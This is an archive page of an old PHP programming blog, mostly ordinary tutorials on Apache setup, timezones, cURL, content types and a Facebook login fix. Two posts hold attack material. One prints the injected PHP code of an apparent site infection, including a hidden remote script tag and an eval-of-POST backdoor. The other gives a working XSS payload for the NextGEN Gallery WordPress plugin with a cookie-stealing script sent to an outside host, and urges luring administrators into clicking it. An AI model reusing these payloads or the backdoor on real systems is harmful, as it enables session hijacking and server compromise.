Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Thursday, October 15, 2009

PHP Code Analysis of Bagle Virus

The code

The following is the code that is executed on all pages infected by this virus :

if (!isset ($b0sr1))
{
function b0sr ($s)
{
if (preg_match_all ('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count (explode ("\n", $v)) > 5)
{
$e = preg_match ('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v)
|| preg_match ('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match ('#\beval\b#', $v)
&& ($e || strpos ($v, 'fromCharCode'))) || ($e
&& strpos ($v,
'document.write')))
$s = str_replace ($v, '', $s);
}
if (preg_match_all
('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
foreach ($a[0] as $v)
if (preg_match
('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v)
&& !strstr ($v, '?'.'>'))
$s = preg_replace ('#'.preg_quote ($v, '#').'.*?</iframe>#is', '', $s);
$s = str_replace ($a =
base64_decode
('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='),
'', $s);
if (stristr ($s, '<body'))
$s = preg_replace ('#(\s*<body)#mi', $a.'\1', $s);
elseif (strpos ($s, ',a')) $s. = $a;
return $s;
}
function b0sr2 ($a, $b, $c, $d)
{
global $b0sr1;
$s = array ();
if (function_exists ($b0sr1))
call_user_func ($b0sr1, $a, $b, $c, $d);
foreach (@ob_get_status (1) as $v)
if (($a = $v['name']) == 'b0sr')
return;
elseif ($a == 'ob_gzhandler') break;
else
$s[] = array ($a == 'default output handler' ? false : $a);

for ($i = count ($s) - 1; $i >= 0; $i--)
{
$s[$i][1] = ob_get_contents ();
ob_end_clean ();
}
ob_start ('b0sr');

for ($i = 0; $i < count ($s); $i++)
{
ob_start ($s[$i][0]);
echo $s[$i][1];
}
}
}
$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;
eval (base64_decode ($_POST['e']));

Wednesday, August 26, 2009

Fix for Facebook authentication on IE

What?
This is for Facebook developers who have faced this problem. If you are using an Facebook application to authenticate a user on a PHP website, the Facebook redirection on Internet Explorer specifically fails the login of the user. This is because the return URL returned by facebook specifically for IE is the appending of the

CallBack URL specified in the Application +
the Next parameter +
a "?" +
the auth_token parameter.


This results in Facebook redirecting to a wierd URL.

the Workaround
for this is to remove the next parameter from the facebook login URL.

http://www.facebook.com/login.php?api_key=<API KEY>&v=1.0&next=http%3A%2F%2Flocalhost%2Ftest%2F%2Ffacebook%3Fredir_domain%3Dexample.com

to
http://www.facebook.com/login.php?api_key=<API KEY>&v=1.0


For PHP websites the changes for the facebook.php are given below:
It must be similar changes for any of the other client API's.
This is accomplished by changing the line on facebook.php
facebook-platform/php/facebook.php

Change the following lines
public function require_login() {
if ($user = $this->get_loggedin_user()) {
return $user;
}
$this->redirect($this->get_login_url(self::current_url(), $this->in_frame())
);
}


to

  public function require_login() {
if ($user = $this->get_loggedin_user()) {
return $user;
}
$this->redirect($this->get_login_url('', $this->in_frame()));
}


The change is to remove the next parameter from the $this->get_login_url Call from within require_login member function of the Facebook class.

This seems to fix the problem of login.
This is not a bug in facebook as it is the intended functionality inside apps.

Happy developing..

Friday, July 17, 2009

Wordpress nextGEN gallery XSS (Cross site scripting) Cookie Stealing Vulnerability

Intro

Now I need not tell what actually an XSS is, for that refer to here. To see what I mean check out the links given below. If you are using NextGen wordpress plugin, you are probably infected.

the Vulnerability

The vulnerability on this wordpress plugin is seen in the pid, album, gallery GET variables.

http://www.example.com/wordpress/next-gen-gallery/?album=1&
pid=3&
gallery=2


The GET variables on most sites are printed directly onto the <title> html tag on the pages. So if you try something like
next-gen-gallery/?album=1&pid=3&
gallery=2(XSS HOLE CAN BE HERE)

the Title becomes
<title>Picture 3 &laquo; Album 1 
&laquo; Gallery 2(XSS HOLE CAN BE HERE)
&laquo; Next Gen Gallery &laquo;
xxxxxxxxxxx WordPress Demo</title>


So we can insert our own custom HTML into the get query to include harmless HTML tags and dangerous SCRIPT tags to allow for Cross Site Scripting. Since Wordpress is in PHP, by default the magic_quotes_gpc would be turned on (for older PHP installations) the quotes would be escaped. So the simple tests for XSS like

next-gen-gallery/?album=1&pid=3&
gallery=2<title/><script>alert("hi");</script>

would fail. Since the quotes on the "hi" would appear as \"hi\". However why worry with the quotes when something like this works.

next-gen-gallery/?album=1&pid=3&
gallery=2<title/><script src=http://labs.kitiyo.com/store.php></script>


You can put any arbitrary code on the target file and it would get executed on the website. The following code can be put for stealing the cookie:
(new Image()).src = 'http://labs.kitiyo.com/store.php?cookie='+document.cookie+'&location='+window.location;
window.location = "URL back to the page";


Then post this link accessible to site administrators or other registered users to click and hand us over their session cookies ;)

I am infected now what to do? (for webmaster)
The XSS is due to blindly allowing to print the $_GET variable onto the title. The makers of this plug in should note this and please do the required validation on the GET parameter. Since the parameters are numeric this should not be so hard to apply a
is_numeric
check to the parameters.

Don't Believe? Check out these links (XSS Demo)


Happy hacking ...
Fix the bugs
Cheers....

Thursday, May 28, 2009

Timezone: PHP, Shell and Crontab

Programming in different timezones can be a headache if not taken care off initially. Codes written to work in one time zone can go wrong when ported to a server that runs on another Timezone. There a few things to take care off when you change from server to server.

PHP

By default PHP uses the Timezone that is set in the server or php.ini configuration files. Inorder to make a robust php code that can work in any server environment, it is always a good practice to set the Timezone in the code written.

date_default_timezone_set(Timezone)


is the PHP function to set the Timezone in PHP. This can take care of most of the timezone anomalies that can occur in your script when using PHP's Date Function.
Timezone is a string, for example for Indian Standard Time it is "Asia/Calcutta", for LA it is "America/Los_Angeles" etc. Checkout PHP Timezone list for a complete list of timezones.

Shell
In a shell the date command gives you the localtime at the SERVER. In order to set the Timezone to your area, we have to set the appropriate environment variable.

export TZ="/usr/share/zoneinfo/{Continent}/{Place}"
Eg:
export TZ="/usr/share/zoneinfo/Asia/Calcutta"


Add this snippet to your .bashrc to set your timezone to your localtime.

Crontab
Crontab runs in the same timezone as the server, so for now the best thing to do is calculate the offset between the server timezone and your localtime zone, and plan your crontab accordingly.

For example if you are in IST and the server is in GMT, which has an offset of +05:30 from IST, add your cron such that it runs localtime - 05:30 hrs on the server. ie
localtime - (offset time).

It would be easy to write a script to do this for you.

Tuesday, May 5, 2009

cURL PHP Error on Windows

Fatal error: Call to undefined function curl_init() in D:/webs/php.php on line 284

This problem arises because of not including the lib_curl.dll to PHP. To solve this uncomment the line as shown below

;extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll


Now restart apache server.
If you get an error "Unable to Load X:/path/php/ext/php_curl.dll", copy
  • SSLEAY32.PHP
  • libEAY32.dll
(OpenSSL) Libraries to the System32 folder.

Now restart apache server and you are good to go.

Saturday, May 26, 2007

Custom extenstion for a Server Script

Intro
PHP files have a ".PHP" extension and is by default the extension used to run php scripts. Thats ordinary. Now it would be cool if we could name another extension (say .do or .html) for a PHP script and get the same output. This is precisely what the following is about.

In order to map a particular extension to a particular application, apache uses handlers. Basically you can define an extension and add the corresponding handler. This can be done in 2 ways :

CPanel / Apache Handlers
Add extension html and handler application/x-httpd-php to make a new handler :

html application/x-httpd-php

This makes any ordinary html file to be handled and processed by the PHP engine before it is output.

.htaccess
For those who dont have cPanel access, the .htaccess file can be edited.
Add
AddHandler application/x-httpd-php html

this line to your .htaccess file. This makes the same effect as done in the previous method.

Tip
  • Adding html extension as php can be cool, because a statically appearing page is actually dynamic. But the disadvantage of using this is that, all HTML files will be passed through the PHP engine and parsed for the PHP codes. This puts unnecessary pressure on the servers and makes it slow.
  • It is better to choose someother extension, if there is a lot of static content on your website. If most of your pages are in PHP, this effect is cool.
  • If for some reason your .htaccess gets deleted or restored to default, All the PHP codes will be echoed to the users browser and all the source would be revealed!. So beware when using this.

Monday, April 23, 2007

Using PHP for more than HTML

Intro
It is mostly thought that PHP can be used only for making dynamic web pages. No. PHP can also be used to make dynamic images (jpg,gif,bmp,png..), javascript codes (js), Style sheets (css), XML files and in the advanced cases pdf's, docs etc.

So How do we know the php is a different file ?
By default the php file is rendered as a HTML file. The server does not need any recognition for the format of the php file, i.e, server doesn't care what the format is. But the browser does. So we have to notify the browser the content-type of the content we are sending to the browser.

This is done by

<?
header("Content-Type: image/jpeg");
?>

The header function adds or replaces the default headers. Thus here the default content type being html/plain-text is replaced by image/jpeg. Thus on the viewers browser the php file would be rendered as an image. Thus
<img src="http://example.com/images/image.php">

would show an image if the coding is correct and the image format is correctly rendered.

More about returning images
<?
header("Content-Type: image/jpeg");
echo file_get_contents("../images/some.jpg");
?>


The above code returns a jpeg. But this is static everytime we see the some.jpg. The advantage of using php to return image is that you can provide a authentication validation, i.e, the user must have signed in to view the image. Thus automatically hot linking is prevented. (Hot linking is the use of images of other servers, by another server. for eg an image on www.example.com displyed on www.elpmaxe.com)
But precious server resources are also consumed.

Another advantage is by returning a random image :
<?
header("Content-Type: image/jpeg");
$files = array("photo0.jpg","photo1.jpg","photo2.jpg");
$index = rand(0,2);
echo file_get_contents($file[$index]);
?>


Returning an image from scratch
Suppose we want to display an image, say for example a bar graph or a random code or text segment from php. Using 100's of images is inefficient and time consuming. In these cases comes in the use of the GD library.

Returning other formats
Other formats can be returned from php via the same way by changing the Content-Type header and giving the appropriate body.
Example :

<?
header("Content-Type: text/javascript");
?>
function Foo()
{

}
<?
echo "function Rand() { } ";
?>


It is also a good practice to set the content-length header, in case you know the size of the body you are about to send in advance. (In case you are sending an image).

Common Content Types


HTML TEXTtext/html
Plain TEXTtext/plain
Cascading Style Sheetstext/css
GIFimage/gif
JPEGimage/jpeg
TIFFimage/tiff
RGBimage/rgb
PNGimage/x-png
PDFapplication/pdf
RTFapplication/rtf

Saturday, April 21, 2007

An Introduction to PHP

PHP ?
PHP stands for Hypertext Preprocessor. Well what is it ? In the world wide web we are familiar with the HTML page. The HTML page is static and does not change. What if we want a page that has some parts common and other parts different according to the browser or user that is visiting the site? Say for an example, a user's profile page. It is wasteful and time consuming to make each user a separate HTML page. Here is where Server side scripting comes in. Thus we can program the page in such a way that the common template is stored in a file and all the variable information such as the user's name, address , etc can be fetched from a database or a remote location and be displayed on the site. This is just one scenario where server side scripting is used. There is many other scenario's like the need for a login, displaying dynamic data etc.

There are many server side scripting languages. One of it is PHP. Other common languages are ASP (Active Server Pages),ASP.net,CFM (Cold Fusion Template),etc...

PHP is different from other conventional languages like C,C++ used to make desktop applications.

PHP file is an ordinary text file and does not need any compiler. The language is interpreted as it is and executed by the server. In desktop applications the data is entered through the keyboard and displayed on the monitor. In web applications that make use of the PHP, data is sent by HTTP methods in the browser. 2 most common ways to input data is via the GET and POST. Similarly the output of a PHP file can be in the form of an HTML file, JPG file, XML file or any format as you wish (Yes!!)

The PHP Language
As mentioned above, PHP files are ordinary text files with the extension PHP. Suppose you want a dynamic page that shows say todays date.


<html>
<head>
<title>Today's date</title>
</head>
<body>
Todays date is : <? //PHP code begin
echo date("M d Y H:i:s");
//PHP code end
?>

</body>
</HTML>


The <? tag marks the beginning of the PHP code segment and the ?> marks the ending of the code segment. There can be any number of PHP code segments in a file. Text outside the code segment is by default interpreted as HTML and send back to the browser as it is. The code within the segement is evaluated and executed and the output of the code replaces the <? ?> The PHP code is executed and replaced in the server itself and no PHP source code is sent to the browser. Thus the HTML recieved by the browser is


<html>
<head>
<title>Today's date</title>
</head>
<body>
Todays date is : Apr 22 2007 09:15:00
</body>
</HTML>


echo is something like the printf. It prints whatever that follows it until the ;. date is a function that returns the formatted date and time according to the argument passed to it.

The code segment is broken up into statements. Each statement ends with a ; as in C / C++.

Variables in PHP
All variables in PHP start with $. eg: $variable = 10;
Unlike C/C++ no data type needs to be mentioned in PHP.

$variable = 10;
$var2 = "arun";
$var3 = array("asd","gfh");
$var4 = false;


To read more about the language, built-in functions and syntax visit www.php.net.

Inputing to PHP

Now you have seen how the PHP outputs the DATA. Now lets see how to push data into the PHP code. Data can be pushed in two common ways :

1. GET : In get method, the data to be passed to the php page can be encoded in the URL in the following format :
http://www.example.com/some/test.php?variable1=something&variable2=something else
These variables are automatically filled into the $_GET array. Therefore $_GET["variable1"] has the value "something" and $_GET["variable2"] has the value "somethingelse".

2. POST : In the POST method the data is not send with the URL but with the HTTP request. An HTML form with action="the destination php file" is used in this case. All POST variables appear in the $_POST similarly as with the GET.

That's all for Part 1
Stay tuned....

Friday, December 29, 2006

Setting up Apache-PHP on windows.

Step 1 : Downloading required files.

apache server binaries : httpd.apache.org
php binaries : www.php.net

Step 2 : Install apache server.
Installing apache server is pretty much simple, and same as any other installation.
Just enter a network domain name and server name and some email id (someone@microsoft.com).
Then choose a installation directory : for reference i am using "C:\".
Note that a directory called apache2 will be created under C:\ .
So "C:\apache2\" is our directory.
Verify your installation by taking your browser and visiting http://127.0.0.1 or http://localhost.
You will see a page that confirms your apache installation.

Step 3 : Configuring apache
Now goto "C:\Apache2\conf\".
Open the file "httpd.conf" in any text editor.
Lines beginning with # are comments .. just read them to know how to tweak apache.
Change the DocumentRoot property to the folder which is the root of the site.

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "C:/public_html/"

and after that a few lines under ..

#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "C:/public_html/">

#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs-2.0/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks

#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride None

#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all

</Directory>

So C:\public_html\ is the server root. ie http://localhost/ = C:\public_html.
After this is done test the configuration by executing (command line):

C:\Apache2\bin>apache -t

If the syntax is right you will get a "Syntax OK" message.

Step 4 : Installing php
To install php, just extract or copy the "PHP" folder to C:\Apache2\ so that C:\Apache2\PHP is created.

Step 5 : configuring PHP
Copy the "php.ini-recommended" file from C:\apache2\php\ to C:\apache2\
Rename it to "php.ini".

Add 2 lines to the end of the file httpd.conf:


LoadModule php5_module C:/apache2/php/php5apache2.dll
AddType application/x-httpd-php .php


Test the php installation by making a php file.

test.php

<?php
phpinfo();
?>


Access the test.php (http://localhost/test.php) from your browser. If you see the source code, installation has failed.
If you see the php info file . PHP installation was successful.
Test the apache server configuration (mentioned above) to find out the error.

Stuck ? leave a comment...